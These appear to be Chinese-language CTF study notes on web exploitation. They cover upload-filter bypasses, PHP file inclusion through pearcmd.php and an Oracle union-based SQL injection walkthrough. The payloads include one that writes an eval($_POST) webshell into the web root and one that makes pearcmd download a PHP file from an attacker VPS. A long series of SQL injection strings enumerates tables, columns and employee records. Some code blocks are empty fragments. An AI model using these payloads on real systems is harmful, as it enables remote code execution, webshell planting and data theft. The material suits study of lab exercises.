Upload_LFI补课
upload_lab补测
常见绕过
前端都是纸老虎
简单的话就使用console修改前端js实现
复杂的话就上传一个正常文件,然后修改流量包
例如限制了
Content-Type: image/png |
那么直接在上传木马时修改成对应的即可
不会影响文件的使用
那么可以解析为php的文件后缀有很多
常见的:
php,php3,php4,php5,phtml |
上传.htaccess
文件
可以让更多的文件类型解析为php
示例:
<Directory /> |
上传.user.ini
文件
auto_prepend_file=test.txt |
加点,加空格,双写,0x00阶段
不重复写了
LFI
php pear文件包含漏洞
全称为PHP Extension and Application Repository
开启了register_argc_argv这个选项
url中?后面的内容都会传入$_SERVER[‘argv’]这个变量里
argv是通过+作为分隔符
pear文件源码:
|
当执行了pear时,会将$_SERVER[‘argv’]当作参数一起执行,从而自动拉取了指定的php文件
|
根据提示找到phpinfo.php
发现fake{Check_register_argc_argv}
于是查看register_argc_argv
都是on
且php服务的路径为/usr/local/etc/php
而当前网页的路径为SCRIPT_FILENAME /var/www/html/index.php
所以可以使用pearcmd.php进行命令的执行
pear命令可使用的参数:
构造:
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/var/www/html/a.php |
在服务器中运行的命令实际为:
pear config-create "/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>" /var/www/html/a.php |
最后包含a.php即可完成getshell
PS:尖括号用burpsuite发
https://whhxy4.github.io/2023/10/18/%E5%85%B3%E4%BA%8E%E5%88%A9%E7%94%A8pearcmd%E8%BF%9B%E8%A1%8C%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/#:~:text=PHP%E8%A3%B8%E6%96%87%E4%BB%B6
题目:
|
是一个绕过require_once包含限制的题
详见https://www.anquanke.com/post/id/213235
payload:
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php |
成功进入第二步/levelllll2.php:
|
观察到register_argc_argv = On,可能是pear文件包含漏洞
构造payload:
/levelllll2.php?syc=/usr/local/lib/php/pearcmd.php&+download+http://vps地址:vps端口/1.php |
成功getshell
CVE-2024-2961
https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py
phar文件包含
Oracle
Oracle Database,又名 Oracle RDBMS,或简称 Oracle。 |
数据库操作
• 查询数据库版本信息
-- 无需特权 |
• 查询操作系统版本
SELECT banner FROM v$version where banner like 'TNS%'; |
• 查询数据库运行的主机名
-- 需要特权 |
• 查询当前用户权限的所有数据库
SELECT DISTINCT owner,table_name FROM all_tables WHERE owner=user; |
• 查询当前用户权限的所有数据库
-- 无需特权 |
• 查询数据库所有用户
-- 需要特权 |
注入payload
https://blog.csdn.net/Javachichi/article/details/128711756
判断数据库类型
-- 使用 Oracle 专有的函数判断是否为 Oracle 数据库
?ename=-1' or to_char(1)=1--+
?ename=-1' or to_number('2e0')=2--+查询表名
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1),NULL from dual--+
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name<>'BONUS'),NULL from dual--+
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name not in ('BONUS','DEPT')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name not in ('BONUS','DEPT','EMP')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name not in ('BONUS','DEPT','EMP')),NULL from dual--+查询表中的字段名
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME','JOB')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME','JOB','MGR')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME','JOB','MGR','HIREDATE')),NULL from dual--+查询具体的数据
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1),NULL from dual--+
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename<>'SMITH'),NULL from dual--+
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename not in ('SMITH','ALLEN')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename not in ('SMITH','ALLEN','WARD')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename not in ('SMITH','ALLEN','WARD','JONES')),NULL from dual--+s